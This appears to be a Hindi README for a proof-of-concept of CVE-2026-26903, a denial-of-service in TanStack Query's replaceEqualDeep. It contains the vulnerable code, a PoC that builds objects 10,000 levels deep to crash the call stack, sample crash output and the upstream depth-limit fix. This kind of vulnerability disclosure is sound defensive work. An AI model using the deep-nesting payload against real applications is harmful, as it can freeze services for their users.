
CVE-2026-26903 को प्रदर्शित करने के लिए एक PoC
TanStack Query के replaceEqualDeep फ़ंक्शन में असीमित रिकर्सन के माध्यम से सेवा अस्वीकृति
गहराई से नेस्टेड ऑब्जेक्ट्स के साथ एक एकल क्राफ्टेड क्वेरी अपडेट जावास्क्रिप्ट थ्रेड को अनिश्चितकाल तक फ्रीज़ कर सकता है, जिससे एप्लिकेशन पूरी तरह से अनुत्तरदायी हो जाता है। किसी प्रमाणीकरण या विशेष अनुमति की आवश्यकता नहीं होती है।
यह भेद्यता @tanstack/[email protected] में PR #10032 के माध्यम से ठीक की गई, जो 14 जनवरी, 2026 को प्रकाशित हुई थी।
| पैकेज | प्रभावित | समाधान |
|---|---|---|
| @tanstack/query-core | <= 5.90.16 | 5.90.17 |
| @tanstack/react-query | भेद्य query-core पर निर्भर | 5.90.18+ |
| @tanstack/vue-query | भेद्य query-core पर निर्भर | 5.90.18+ |
| @tanstack/solid-query | भेद्य query-core पर निर्भर | 5.90.18+ |
| @tanstack/svelte-query | भेद्य query-core पर निर्भर | 6.1.7+ |
CVE-2026-26903: replaceEqualDeep में असीमित रिकर्सन के माध्यम से सेवा अस्वीकृति (गंभीरता: मध्यम)
TanStack Query में
replaceEqualDeepफ़ंक्शन बिना गहराई सीमा के नेस्टेड ऑब्जेक्ट्स की रिकर्सिव तुलना करता है। गहराई से नेस्टेड डेटा संरचनाओं को संसाधित करते समय, यह असीमित रिकर्सन को ट्रिगर कर सकता है, जिससे स्टैक ओवरफ़्लो और एप्लिकेशन फ्रीज़ हो जाता है।— MITRE द्वारा निर्दिष्ट
TanStack Query का replaceEqualDeep फ़ंक्शन आंतरिक रूप से यह निर्धारित करने के लिए उपयोग किया जाता है कि क्वेरी डेटा वास्तव में बदला है या नहीं। यह संभव होने पर ऑब्जेक्ट संदर्भों को संरक्षित करके री-रेंडर को अनुकूलित करता है। यह फ़ंक्शन गहरी समानता तुलना करने के लिए ऑब्जेक्ट गुणों को रिकर्सिव रूप से ट्रैवर्स करता है।
रिकर्सिव कार्यान्वयन में गहराई सीमा या चक्र पहचान का अभाव है:
function replaceEqualDeep(a, b) {
// ... type checks ...
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
// ... shallow equality checks ...
// VULNERABLE: Unbounded recursion here
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
// ...
}
return copy;
}
replaceEqualDeep से गुजरता हैuseQuery हुकsetQueryData, invalidateQueries, या कोई क्वेरी कैश ऑपरेशनCVE-2026-26903-PoC/
├── README.md # This file
├── LICENSE
├── poc.js # Node.js PoC (stack overflow crash)
└── tanstack-query-poc.html # Browser PoC (interactive visual demo)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
node poc.js
Testing replaceEqualDeep with deep nesting...
Depth: 100
OK - 0ms
Depth: 1000
OK - 1ms
Depth: 5000
CRASH - Maximum call stack size exceeded
Depth: 10000
CRASH - Maximum call stack size exceeded
open tanstack-query-poc.html
विकल्प A: स्टैंडअलोन HTML डेमो (कोई निर्भरता नहीं)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html
विकल्प B: React एप्लिकेशन (वास्तविक परिदृश्य)
cd examples/react-app-poc
npm install
npm start
# Navigate to http://localhost:3000 and follow on-screen instructions
PoC गहराई से नेस्टेड ऑब्जेक्ट्स उत्पन्न करता है और उन्हें संसाधित करने के लिए replaceEqualDeep को ट्रिगर करता है:
function generateDeep(depth) {
let obj = { value: 'end' };
for (let i = 0; i < depth; i++) {
obj = { nested: obj };
}
return obj;
}
// Creates: { nested: { nested: { nested: ... { value: 'end' } } } }
const oldData = generateDeep(10000); // 10,000 levels deep
const newData = generateDeep(10000); // Different object, same structure
// This causes unbounded recursion:
replaceEqualDeep(oldData, newData);
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested) // Level 1
├── replaceEqualDeep(obj1.nested.nested, ...) // Level 2
├── replaceEqualDeep(...) // Level 3
└── ... (continues for 10,000 levels)
प्रत्येक रिकर्सिव कॉल एक नया स्टैक फ्रेम जोड़ता है जब तक कि जावास्क्रिप्ट इंजन का कॉल स्टैक समाप्त नहीं हो जाता, जिससे थ्रेड फ्रीज़ हो जाता है।
स्थान: @tanstack/query-core/src/utils.ts (अनुमानित)
export function replaceEqualDeep(a, b) {
if (a === b) {
return a;
}
const array = isPlainArray(a) && isPlainArray(b);
if (!array && !(isPlainObject(a) && isPlainObject(b))) {
return b;
}
const aItems = array ? a : Object.keys(a);
const aSize = aItems.length;
const bItems = array ? b : Object.keys(b);
const bSize = bItems.length;
const copy = array ? new Array(bSize) : {};
let equalItems = 0;
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
if (a[key] === b[key]) {
copy[key] = a[key];
equalItems++;
continue;
}
if (
a[key] === null ||
b[key] === null ||
typeof a[key] !== 'object' ||
typeof b[key] !== 'object'
) {
copy[key] = b[key];
continue;
}
// VULNERABLE: No depth limit or cycle detection
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
if (v === a[key]) {
equalItems++;
}
}
return aSize === bSize && equalItems === aSize ? a : copy;
}
यह फिक्स (TanStack Query कमिट 269351b में लागू किया गया) असीमित रिकर्सन को रोकने के लिए एक गहराई सीमा जोड़ता है:
- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
if (a === b) {
return a
}
+ if (depth > 500) return b
+
const array = isPlainArray(a) && isPlainArray(b)
if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
// ... middle section unchanged ...
- const v = replaceEqualDeep(aItem, bItem)
+ const v = replaceEqualDeep(aItem, bItem, depth + 1)
copy[key] = v
if (v === aItem) equalItems++
मुख्य बदलाव:
depth पैरामीटर जोड़ा गया जिसका डिफ़ॉल्ट मान 0 है, ताकि रिकर्सन गहराई को ट्रैक किया जा सकेdepth > 500 होने पर तुरंत b लौटाता हैreplaceEqualDeep(aItem, bItem, depth + 1)
यह सरल फिक्स स्टैक ओवरफ़्लो को रोकता है, साथ ही उचित नेस्टिंग की अनुमति देता है (500 स्तर वास्तविक दुनिया की डेटा संरचनाओं के लिए पर्याप्त से अधिक हैं)।replaceEqualDeep में गहराई सीमा लागू करें:
function replaceEqualDeep(a, b, depth = 0) {
if (depth > MAX_DEPTH) return b; // Prevent deep recursion
if (a === b) return a;
// ... existing logic ...
const v = replaceEqualDeep(a[key], b[key], depth + 1);
// ... rest of function
}
या रिकर्सन के बजाय इटरेटिव ट्रैवर्सल का उपयोग करें।
यह प्रूफ-ऑफ-कॉन्सेप्ट केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग जिम्मेदारी से और केवल उन अनुप्रयोगों के विरुद्ध करें जिनके आप स्वामी हैं या जिनका परीक्षण करने की आपके पास स्पष्ट अनुमति है। लेखक इस जानकारी के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं हैं।